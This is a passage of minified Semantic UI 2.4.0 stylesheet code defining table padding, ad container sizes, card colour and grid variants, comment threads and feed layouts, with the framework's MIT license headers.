th:last-child{padding-right:0}.ui[class*="very basic"].table:not(.sortable):not(.striped) thead tr:first-child th{padding-top:0}.ui.celled.table tr td,.ui.celled.table tr th{border-left:1px solid rgba(34,36,38,.1)}.ui.celled.table tr td:first-child,.ui.celled.table tr th:first-child{border-left:none}.ui.padded.table th{padding-left:1em;padding-right:1em}.ui.padded.table td,.ui.padded.table th{padding:1em 1em}.ui[class*="very padded"].table th{padding-left:1.5em;padding-right:1.5em}.ui[class*="very padded"].table td{padding:1.5em 1.5em}.ui.compact.table th{padding-left:.7em;padding-right:.7em}.ui.compact.table td{padding:.5em .7em}.ui[class*="very compact"].table th{padding-left:.6em;padding-right:.6em}.ui[class*="very compact"].table td{padding:.4em .6em}.ui.small.table{font-size:.9em}.ui.table{font-size:1em}.ui.large.table{font-size:1.1em}/*! + * # Semantic UI 2.4.0 - Ad + * http://github.com/semantic-org/semantic-ui/ + * + * + * Copyright 2013 Contributors + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.ad{display:block;overflow:hidden;margin:1em 0}.ui.ad:first-child{margin:0}.ui.ad:last-child{margin:0}.ui.ad iframe{margin:0;padding:0;border:none;overflow:hidden}.ui.leaderboard.ad{width:728px;height:90px}.ui[class*="medium rectangle"].ad{width:300px;height:250px}.ui[class*="large rectangle"].ad{width:336px;height:280px}.ui[class*="half page"].ad{width:300px;height:600px}.ui.square.ad{width:250px;height:250px}.ui[class*="small square"].ad{width:200px;height:200px}.ui[class*="small rectangle"].ad{width:180px;height:150px}.ui[class*="vertical rectangle"].ad{width:240px;height:400px}.ui.button.ad{width:120px;height:90px}.ui[class*="square button"].ad{width:125px;height:125px}.ui[class*="small button"].ad{width:120px;height:60px}.ui.skyscraper.ad{width:120px;height:600px}.ui[class*="wide skyscraper"].ad{width:160px}.ui.banner.ad{width:468px;height:60px}.ui[class*="vertical banner"].ad{width:120px;height:240px}.ui[class*="top banner"].ad{width:930px;height:180px}.ui[class*="half banner"].ad{width:234px;height:60px}.ui[class*="large leaderboard"].ad{width:970px;height:90px}.ui.billboard.ad{width:970px;height:250px}.ui.panorama.ad{width:980px;height:120px}.ui.netboard.ad{width:580px;height:400px}.ui[class*="large mobile banner"].ad{width:320px;height:100px}.ui[class*="mobile leaderboard"].ad{width:320px;height:50px}.ui.mobile.ad{display:none}@media only screen and (max-width:767px){.ui.mobile.ad{display:block}}.ui.centered.ad{margin-left:auto;margin-right:auto}.ui.test.ad{position:relative;background:#545454}.ui.test.ad:after{position:absolute;top:50%;left:50%;width:100%;text-align:center;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%);content:'Ad';color:#fff;font-size:1em;font-weight:700}.ui.mobile.test.ad:after{font-size:.85714286em}.ui.test.ad[data-text]:after{content:attr(data-text)}/*! + * # Semantic UI 2.4.0 - Item + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.card,.ui.cards>.card{max-width:100%;position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;width:290px;min-height:0;background:#fff;padding:0;border:none;border-radius:.28571429rem;-webkit-box-shadow:0 1px 3px 0 #d4d4d5,0 0 0 1px #d4d4d5;box-shadow:0 1px 3px 0 #d4d4d5,0 0 0 1px #d4d4d5;-webkit-transition:-webkit-box-shadow .1s ease,-webkit-transform .1s ease;transition:-webkit-box-shadow .1s ease,-webkit-transform .1s ease;transition:box-shadow .1s ease,transform .1s ease;transition:box-shadow .1s ease,transform .1s ease,-webkit-box-shadow .1s ease,-webkit-transform .1s ease;z-index:''}.ui.card{margin:1em 0}.ui.card a,.ui.cards>.card a{cursor:pointer}.ui.card:first-child{margin-top:0}.ui.card:last-child{margin-bottom:0}.ui.cards{display:-webkit-box;display:-ms-flexbox;display:flex;margin:-.875em -.5em;-ms-flex-wrap:wrap;flex-wrap:wrap}.ui.cards>.card{display:-webkit-box;display:-ms-flexbox;display:flex;margin:.875em .5em;float:none}.ui.card:after,.ui.cards:after{display:block;content:' ';height:0;clear:both;overflow:hidden;visibility:hidden}.ui.cards~.ui.cards{margin-top:.875em}.ui.card>:first-child,.ui.cards>.card>:first-child{border-radius:.28571429rem .28571429rem 0 0!important;border-top:none!important}.ui.card>:last-child,.ui.cards>.card>:last-child{border-radius:0 0 .28571429rem .28571429rem!important}.ui.card>:only-child,.ui.cards>.card>:only-child{border-radius:.28571429rem!important}.ui.card>.image,.ui.cards>.card>.image{position:relative;display:block;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;padding:0;background:rgba(0,0,0,.05)}.ui.card>.image>img,.ui.cards>.card>.image>img{display:block;width:100%;height:auto;border-radius:inherit}.ui.card>.image:not(.ui)>img,.ui.cards>.card>.image:not(.ui)>img{border:none}.ui.card>.content,.ui.cards>.card>.content{-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;border:none;border-top:1px solid rgba(34,36,38,.1);background:0 0;margin:0;padding:1em 1em;-webkit-box-shadow:none;box-shadow:none;font-size:1em;border-radius:0}.ui.card>.content:after,.ui.cards>.card>.content:after{display:block;content:' ';height:0;clear:both;overflow:hidden;visibility:hidden}.ui.card>.content>.header,.ui.cards>.card>.content>.header{display:block;margin:'';font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;color:rgba(0,0,0,.85)}.ui.card>.content>.header:not(.ui),.ui.cards>.card>.content>.header:not(.ui){font-weight:700;font-size:1.28571429em;margin-top:-.21425em;line-height:1.28571429em}.ui.card>.content>.header+.description,.ui.card>.content>.meta+.description,.ui.cards>.card>.content>.header+.description,.ui.cards>.card>.content>.meta+.description{margin-top:.5em}.ui.card [class*="left floated"],.ui.cards>.card [class*="left floated"]{float:left}.ui.card [class*="right floated"],.ui.cards>.card [class*="right floated"]{float:right}.ui.card [class*="left aligned"],.ui.cards>.card [class*="left aligned"]{text-align:left}.ui.card [class*="center aligned"],.ui.cards>.card [class*="center aligned"]{text-align:center}.ui.card [class*="right aligned"],.ui.cards>.card [class*="right aligned"]{text-align:right}.ui.card .content img,.ui.cards>.card .content img{display:inline-block;vertical-align:middle;width:''}.ui.card .avatar img,.ui.card img.avatar,.ui.cards>.card .avatar img,.ui.cards>.card img.avatar{width:2em;height:2em;border-radius:500rem}.ui.card>.content>.description,.ui.cards>.card>.content>.description{clear:both;color:rgba(0,0,0,.68)}.ui.card>.content p,.ui.cards>.card>.content p{margin:0 0 .5em}.ui.card>.content p:last-child,.ui.cards>.card>.content p:last-child{margin-bottom:0}.ui.card .meta,.ui.cards>.card .meta{font-size:1em;color:rgba(0,0,0,.4)}.ui.card .meta *,.ui.cards>.card .meta *{margin-right:.3em}.ui.card .meta :last-child,.ui.cards>.card .meta :last-child{margin-right:0}.ui.card .meta [class*="right floated"],.ui.cards>.card .meta [class*="right floated"]{margin-right:0;margin-left:.3em}.ui.card>.content a:not(.ui),.ui.cards>.card>.content a:not(.ui){color:'';-webkit-transition:color .1s ease;transition:color .1s ease}.ui.card>.content a:not(.ui):hover,.ui.cards>.card>.content a:not(.ui):hover{color:''}.ui.card>.content>a.header,.ui.cards>.card>.content>a.header{color:rgba(0,0,0,.85)}.ui.card>.content>a.header:hover,.ui.cards>.card>.content>a.header:hover{color:#1e70bf}.ui.card .meta>a:not(.ui),.ui.cards>.card .meta>a:not(.ui){color:rgba(0,0,0,.4)}.ui.card .meta>a:not(.ui):hover,.ui.cards>.card .meta>a:not(.ui):hover{color:rgba(0,0,0,.87)}.ui.card>.button,.ui.card>.buttons,.ui.cards>.card>.button,.ui.cards>.card>.buttons{margin:0 -1px;width:calc(100% + 2px)}.ui.card .dimmer,.ui.cards>.card .dimmer{background-color:'';z-index:10}.ui.card>.content .star.icon,.ui.cards>.card>.content .star.icon{cursor:pointer;opacity:.75;-webkit-transition:color .1s ease;transition:color .1s ease}.ui.card>.content .star.icon:hover,.ui.cards>.card>.content .star.icon:hover{opacity:1;color:#ffb70a}.ui.card>.content .active.star.icon,.ui.cards>.card>.content .active.star.icon{color:#ffe623}.ui.card>.content .like.icon,.ui.cards>.card>.content .like.icon{cursor:pointer;opacity:.75;-webkit-transition:color .1s ease;transition:color .1s ease}.ui.card>.content .like.icon:hover,.ui.cards>.card>.content .like.icon:hover{opacity:1;color:#ff2733}.ui.card>.content .active.like.icon,.ui.cards>.card>.content .active.like.icon{color:#ff2733}.ui.card>.extra,.ui.cards>.card>.extra{max-width:100%;min-height:0!important;-webkit-box-flex:0;-ms-flex-positive:0;flex-grow:0;border-top:1px solid rgba(0,0,0,.05)!important;position:static;background:0 0;width:auto;margin:0 0;padding:.75em 1em;top:0;left:0;color:rgba(0,0,0,.4);-webkit-box-shadow:none;box-shadow:none;-webkit-transition:color .1s ease;transition:color .1s ease}.ui.card>.extra a:not(.ui),.ui.cards>.card>.extra a:not(.ui){color:rgba(0,0,0,.4)}.ui.card>.extra a:not(.ui):hover,.ui.cards>.card>.extra a:not(.ui):hover{color:#1e70bf}.ui.raised.card,.ui.raised.cards>.card{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15);box-shadow:0 0 0 1px #d4d4d5,0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15)}.ui.link.cards .raised.card:hover,.ui.link.raised.card:hover,.ui.raised.cards a.card:hover,a.ui.raised.card:hover{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 4px 0 rgba(34,36,38,.15),0 2px 10px 0 rgba(34,36,38,.25);box-shadow:0 0 0 1px #d4d4d5,0 2px 4px 0 rgba(34,36,38,.15),0 2px 10px 0 rgba(34,36,38,.25)}.ui.raised.card,.ui.raised.cards>.card{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15);box-shadow:0 0 0 1px #d4d4d5,0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15)}.ui.centered.cards{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.ui.centered.card{margin-left:auto;margin-right:auto}.ui.fluid.card{width:100%;max-width:9999px}.ui.cards a.card,.ui.link.card,.ui.link.cards .card,a.ui.card{-webkit-transform:none;transform:none}.ui.cards a.card:hover,.ui.link.card:hover,.ui.link.cards .card:hover,a.ui.card:hover{cursor:pointer;z-index:5;background:#fff;border:none;-webkit-box-shadow:0 1px 3px 0 #bcbdbd,0 0 0 1px #d4d4d5;box-shadow:0 1px 3px 0 #bcbdbd,0 0 0 1px #d4d4d5;-webkit-transform:translateY(-3px);transform:translateY(-3px)}.ui.cards>.red.card,.ui.red.card,.ui.red.cards>.card{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #db2828,0 1px 3px 0 #d4d4d5;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #db2828,0 1px 3px 0 #d4d4d5}.ui.cards>.red.card:hover,.ui.red.card:hover,.ui.red.cards>.card:hover{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #d01919,0 1px 3px 0 #bcbdbd;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #d01919,0 1px 3px 0 #bcbdbd}.ui.cards>.orange.card,.ui.orange.card,.ui.orange.cards>.card{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #f2711c,0 1px 3px 0 #d4d4d5;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #f2711c,0 1px 3px 0 #d4d4d5}.ui.cards>.orange.card:hover,.ui.orange.card:hover,.ui.orange.cards>.card:hover{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #f26202,0 1px 3px 0 #bcbdbd;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #f26202,0 1px 3px 0 #bcbdbd}.ui.cards>.yellow.card,.ui.yellow.card,.ui.yellow.cards>.card{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #fbbd08,0 1px 3px 0 #d4d4d5;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #fbbd08,0 1px 3px 0 #d4d4d5}.ui.cards>.yellow.card:hover,.ui.yellow.card:hover,.ui.yellow.cards>.card:hover{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #eaae00,0 1px 3px 0 #bcbdbd;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #eaae00,0 1px 3px 0 #bcbdbd}.ui.cards>.olive.card,.ui.olive.card,.ui.olive.cards>.card{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #b5cc18,0 1px 3px 0 #d4d4d5;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #b5cc18,0 1px 3px 0 #d4d4d5}.ui.cards>.olive.card:hover,.ui.olive.card:hover,.ui.olive.cards>.card:hover{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #a7bd0d,0 1px 3px 0 #bcbdbd;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #a7bd0d,0 1px 3px 0 #bcbdbd}.ui.cards>.green.card,.ui.green.card,.ui.green.cards>.card{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #21ba45,0 1px 3px 0 #d4d4d5;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #21ba45,0 1px 3px 0 #d4d4d5}.ui.cards>.green.card:hover,.ui.green.card:hover,.ui.green.cards>.card:hover{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #16ab39,0 1px 3px 0 #bcbdbd;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #16ab39,0 1px 3px 0 #bcbdbd}.ui.cards>.teal.card,.ui.teal.card,.ui.teal.cards>.card{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #00b5ad,0 1px 3px 0 #d4d4d5;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #00b5ad,0 1px 3px 0 #d4d4d5}.ui.cards>.teal.card:hover,.ui.teal.card:hover,.ui.teal.cards>.card:hover{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #009c95,0 1px 3px 0 #bcbdbd;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #009c95,0 1px 3px 0 #bcbdbd}.ui.blue.card,.ui.blue.cards>.card,.ui.cards>.blue.card{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #2185d0,0 1px 3px 0 #d4d4d5;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #2185d0,0 1px 3px 0 #d4d4d5}.ui.blue.card:hover,.ui.blue.cards>.card:hover,.ui.cards>.blue.card:hover{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #1678c2,0 1px 3px 0 #bcbdbd;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #1678c2,0 1px 3px 0 #bcbdbd}.ui.cards>.violet.card,.ui.violet.card,.ui.violet.cards>.card{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #6435c9,0 1px 3px 0 #d4d4d5;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #6435c9,0 1px 3px 0 #d4d4d5}.ui.cards>.violet.card:hover,.ui.violet.card:hover,.ui.violet.cards>.card:hover{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #5829bb,0 1px 3px 0 #bcbdbd;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #5829bb,0 1px 3px 0 #bcbdbd}.ui.cards>.purple.card,.ui.purple.card,.ui.purple.cards>.card{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #a333c8,0 1px 3px 0 #d4d4d5;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #a333c8,0 1px 3px 0 #d4d4d5}.ui.cards>.purple.card:hover,.ui.purple.card:hover,.ui.purple.cards>.card:hover{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #9627ba,0 1px 3px 0 #bcbdbd;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #9627ba,0 1px 3px 0 #bcbdbd}.ui.cards>.pink.card,.ui.pink.card,.ui.pink.cards>.card{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #e03997,0 1px 3px 0 #d4d4d5;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #e03997,0 1px 3px 0 #d4d4d5}.ui.cards>.pink.card:hover,.ui.pink.card:hover,.ui.pink.cards>.card:hover{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #e61a8d,0 1px 3px 0 #bcbdbd;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #e61a8d,0 1px 3px 0 #bcbdbd}.ui.brown.card,.ui.brown.cards>.card,.ui.cards>.brown.card{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #a5673f,0 1px 3px 0 #d4d4d5;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #a5673f,0 1px 3px 0 #d4d4d5}.ui.brown.card:hover,.ui.brown.cards>.card:hover,.ui.cards>.brown.card:hover{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #975b33,0 1px 3px 0 #bcbdbd;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #975b33,0 1px 3px 0 #bcbdbd}.ui.cards>.grey.card,.ui.grey.card,.ui.grey.cards>.card{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #767676,0 1px 3px 0 #d4d4d5;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #767676,0 1px 3px 0 #d4d4d5}.ui.cards>.grey.card:hover,.ui.grey.card:hover,.ui.grey.cards>.card:hover{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #838383,0 1px 3px 0 #bcbdbd;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #838383,0 1px 3px 0 #bcbdbd}.ui.black.card,.ui.black.cards>.card,.ui.cards>.black.card{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #1b1c1d,0 1px 3px 0 #d4d4d5;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #1b1c1d,0 1px 3px 0 #d4d4d5}.ui.black.card:hover,.ui.black.cards>.card:hover,.ui.cards>.black.card:hover{-webkit-box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #27292a,0 1px 3px 0 #bcbdbd;box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #27292a,0 1px 3px 0 #bcbdbd}.ui.one.cards{margin-left:0;margin-right:0}.ui.one.cards>.card{width:100%}.ui.two.cards{margin-left:-1em;margin-right:-1em}.ui.two.cards>.card{width:calc(50% - 2em);margin-left:1em;margin-right:1em}.ui.three.cards{margin-left:-1em;margin-right:-1em}.ui.three.cards>.card{width:calc(33.33333333% - 2em);margin-left:1em;margin-right:1em}.ui.four.cards{margin-left:-.75em;margin-right:-.75em}.ui.four.cards>.card{width:calc(25% - 1.5em);margin-left:.75em;margin-right:.75em}.ui.five.cards{margin-left:-.75em;margin-right:-.75em}.ui.five.cards>.card{width:calc(20% - 1.5em);margin-left:.75em;margin-right:.75em}.ui.six.cards{margin-left:-.75em;margin-right:-.75em}.ui.six.cards>.card{width:calc(16.66666667% - 1.5em);margin-left:.75em;margin-right:.75em}.ui.seven.cards{margin-left:-.5em;margin-right:-.5em}.ui.seven.cards>.card{width:calc(14.28571429% - 1em);margin-left:.5em;margin-right:.5em}.ui.eight.cards{margin-left:-.5em;margin-right:-.5em}.ui.eight.cards>.card{width:calc(12.5% - 1em);margin-left:.5em;margin-right:.5em;font-size:11px}.ui.nine.cards{margin-left:-.5em;margin-right:-.5em}.ui.nine.cards>.card{width:calc(11.11111111% - 1em);margin-left:.5em;margin-right:.5em;font-size:10px}.ui.ten.cards{margin-left:-.5em;margin-right:-.5em}.ui.ten.cards>.card{width:calc(10% - 1em);margin-left:.5em;margin-right:.5em}@media only screen and (max-width:767px){.ui.two.doubling.cards{margin-left:0;margin-right:0}.ui.two.doubling.cards>.card{width:100%;margin-left:0;margin-right:0}.ui.three.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.three.doubling.cards>.card{width:calc(50% - 2em);margin-left:1em;margin-right:1em}.ui.four.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.four.doubling.cards>.card{width:calc(50% - 2em);margin-left:1em;margin-right:1em}.ui.five.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.five.doubling.cards>.card{width:calc(50% - 2em);margin-left:1em;margin-right:1em}.ui.six.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.six.doubling.cards>.card{width:calc(50% - 2em);margin-left:1em;margin-right:1em}.ui.seven.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.seven.doubling.cards>.card{width:calc(33.33333333% - 2em);margin-left:1em;margin-right:1em}.ui.eight.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.eight.doubling.cards>.card{width:calc(33.33333333% - 2em);margin-left:1em;margin-right:1em}.ui.nine.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.nine.doubling.cards>.card{width:calc(33.33333333% - 2em);margin-left:1em;margin-right:1em}.ui.ten.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.ten.doubling.cards>.card{width:calc(33.33333333% - 2em);margin-left:1em;margin-right:1em}}@media only screen and (min-width:768px) and (max-width:991px){.ui.two.doubling.cards{margin-left:0;margin-right:0}.ui.two.doubling.cards>.card{width:100%;margin-left:0;margin-right:0}.ui.three.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.three.doubling.cards>.card{width:calc(50% - 2em);margin-left:1em;margin-right:1em}.ui.four.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.four.doubling.cards>.card{width:calc(50% - 2em);margin-left:1em;margin-right:1em}.ui.five.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.five.doubling.cards>.card{width:calc(33.33333333% - 2em);margin-left:1em;margin-right:1em}.ui.six.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.six.doubling.cards>.card{width:calc(33.33333333% - 2em);margin-left:1em;margin-right:1em}.ui.eight.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.eight.doubling.cards>.card{width:calc(33.33333333% - 2em);margin-left:1em;margin-right:1em}.ui.eight.doubling.cards{margin-left:-.75em;margin-right:-.75em}.ui.eight.doubling.cards>.card{width:calc(25% - 1.5em);margin-left:.75em;margin-right:.75em}.ui.nine.doubling.cards{margin-left:-.75em;margin-right:-.75em}.ui.nine.doubling.cards>.card{width:calc(25% - 1.5em);margin-left:.75em;margin-right:.75em}.ui.ten.doubling.cards{margin-left:-.75em;margin-right:-.75em}.ui.ten.doubling.cards>.card{width:calc(20% - 1.5em);margin-left:.75em;margin-right:.75em}}@media only screen and (max-width:767px){.ui.stackable.cards{display:block!important}.ui.stackable.cards .card:first-child{margin-top:0!important}.ui.stackable.cards>.card{display:block!important;height:auto!important;margin:1em 1em;padding:0!important;width:calc(100% - 2em)!important}}.ui.cards>.card{font-size:1em}/*! + * # Semantic UI 2.4.0 - Comment + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.comments{margin:1.5em 0;max-width:650px}.ui.comments:first-child{margin-top:0}.ui.comments:last-child{margin-bottom:0}.ui.comments .comment{position:relative;background:0 0;margin:.5em 0 0;padding:.5em 0 0;border:none;border-top:none;line-height:1.2}.ui.comments .comment:first-child{margin-top:0;padding-top:0}.ui.comments .comment .comments{margin:0 0 .5em .5em;padding:1em 0 1em 1em}.ui.comments .comment .comments:before{position:absolute;top:0;left:0}.ui.comments .comment .comments .comment{border:none;border-top:none;background:0 0}.ui.comments .comment .avatar{display:block;width:2.5em;height:auto;float:left;margin:.2em 0 0}.ui.comments .comment .avatar img,.ui.comments .comment img.avatar{display:block;margin:0 auto;width:100%;height:100%;border-radius:.25rem}.ui.comments .comment>.content{display:block}.ui.comments .comment>.avatar~.content{margin-left:3.5em}.ui.comments .comment .author{font-size:1em;color:rgba(0,0,0,.87);font-weight:700}.ui.comments .comment a.author{cursor:pointer}.ui.comments .comment a.author:hover{color:#1e70bf}.ui.comments .comment .metadata{display:inline-block;margin-left:.5em;color:rgba(0,0,0,.4);font-size:.875em}.ui.comments .comment .metadata>*{display:inline-block;margin:0 .5em 0 0}.ui.comments .comment .metadata>:last-child{margin-right:0}.ui.comments .comment .text{margin:.25em 0 .5em;font-size:1em;word-wrap:break-word;color:rgba(0,0,0,.87);line-height:1.3}.ui.comments .comment .actions{font-size:.875em}.ui.comments .comment .actions a{cursor:pointer;display:inline-block;margin:0 .75em 0 0;color:rgba(0,0,0,.4)}.ui.comments .comment .actions a:last-child{margin-right:0}.ui.comments .comment .actions a.active,.ui.comments .comment .actions a:hover{color:rgba(0,0,0,.8)}.ui.comments>.reply.form{margin-top:1em}.ui.comments .comment .reply.form{width:100%;margin-top:1em}.ui.comments .reply.form textarea{font-size:1em;height:12em}.ui.collapsed.comments,.ui.comments .collapsed.comment,.ui.comments .collapsed.comments{display:none}.ui.threaded.comments .comment .comments{margin:-1.5em 0 -1em 1.25em;padding:3em 0 2em 2.25em;-webkit-box-shadow:-1px 0 0 rgba(34,36,38,.15);box-shadow:-1px 0 0 rgba(34,36,38,.15)}.ui.minimal.comments .comment .actions{opacity:0;position:absolute;top:0;right:0;left:auto;-webkit-transition:opacity .2s ease;transition:opacity .2s ease;-webkit-transition-delay:.1s;transition-delay:.1s}.ui.minimal.comments .comment>.content:hover>.actions{opacity:1}.ui.mini.comments{font-size:.78571429rem}.ui.tiny.comments{font-size:.85714286rem}.ui.small.comments{font-size:.92857143rem}.ui.comments{font-size:1rem}.ui.large.comments{font-size:1.14285714rem}.ui.big.comments{font-size:1.28571429rem}.ui.huge.comments{font-size:1.42857143rem}.ui.massive.comments{font-size:1.71428571rem}/*! + * # Semantic UI 2.4.0 - Feed + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.feed{margin:1em 0}.ui.feed:first-child{margin-top:0}.ui.feed:last-child{margin-bottom:0}.ui.feed>.event{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;width:100%;padding:.21428571rem 0;margin:0;background:0 0;border-top:none}.ui.feed>.event:first-child{border-top:0;padding-top:0}.ui.feed>.event:last-child{padding-bottom:0}.ui.feed>.event>.label{display:block;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:2.5em;height:auto;-ms-flex-item-align:stretch;align-self:stretch;text-align:left}.ui.feed>.event>.label .icon{opacity:1;font-size:1.5em;width:100%;padding:.25em;background:0 0;border:none;border-radius:none;color:rgba(0,0,0,.6)}.ui.feed>.event>.label img{width:100%;height:auto;border-radius:500rem}.ui.feed>.event>.label+.content{margin:.5em 0 .35714286em 1.14285714em}.ui.feed>.event>.content{display:block;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;-ms-flex-item-align:stretch;align-self:stretch;text-align:left;word-wrap:break-word}.ui.feed>.event:last-child>.content{padding-bottom:0}.ui.feed>.event>.content a{cursor:pointer}.ui.feed>.event>.content .date{margin:-.5rem 0 0;padding:0;font-weight:400;font-size:1em;font-style:normal;color:rgba(0,0,0,.4)}.ui.feed>.event>.content .summary{margin:0;font-size:1em;font-weight:700;color:rgba(0,0,0,.87)}.ui.feed>.event>.content .summary img{display:inline-block;width:auto;height:10em;margin:-.25em .25em 0 0;border-radius:.25em;vertical-align:middle}.ui.feed>.event>.content .user{display:inline-block;font-weight:700;margin-right:0;vertical-align:baseline}.ui.feed>.event>.content .user img{margin:-.25em .25em 0 0;width:auto;height:10em;vertical-align:middle}.ui.feed>.event>.content .summary>.date{display:inline-block;float:none;font-weight:400;font-size:.85714286em;font-style:normal;margin:0 0 0 .5em;padding:0;color:rgba(0,0,0,.4)}.ui.feed>.event>.content .extra{margin:.5em 0 0;background:0 0;padding:0;color:rgba(0,0,0,.87)}.ui.feed>.event>.content .extra.images img{display:inline-block;margin:0 .25em 0 0;width:6em}.ui.feed>.event>.content .extra.text{padding:0;border-left:none;font-size:1em;max-width:500px;line-height:1.4285em}.ui.feed>.event>.content .meta{display:inline-block;font-size:.85714286em;margin:.5em 0 0;background:0 0;border:none;border-radius:0;-webkit-box-shadow:none;box-shadow:none;padding:0;color:rgba(0,0,0,.6)}.ui.feed>.event>.content .meta>*{position:relative;margin-left:.75em}.ui.feed>.event>.content .meta>:after{content:'';color:rgba(0,0,0,.2);top:0;left:-1em;opacity:1;position:absolute;vertical-align:top}.ui.feed>.event>.content .meta .like{color:'';-webkit-transition:.2s color ease;transition:.2s color ease}.ui.feed>.event>.content .meta .like:hover .icon{color:#ff2733}.ui.feed>.event>.content .meta .active.like .icon{color:#ef404a}.ui.feed>.event>.content .meta>:first-child{margin-left:0}.ui.feed>.event>.content .meta>:first-child::after{display:none}.ui.feed>.event>.content .meta a,.ui.feed>.event>.content .meta>.icon{cursor:pointer;opacity:1;color:rgba(0,0,0,.5);-webkit-transition:color .1s ease;transition:color .1s ease}.ui.feed>.event>.content .meta a:hover,.ui.feed>.event>.content .meta a:hover .icon,.ui.feed>.event>.content .meta>.icon:hover{color:rgba(0,0,0,.95)}.ui.small.feed{font-size:.92857143rem}.ui.feed{font-size:1rem}.ui.large.feed{font-size:1.14285714rem}/*! + * # Semantic UI 2.4.0 - Item + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT 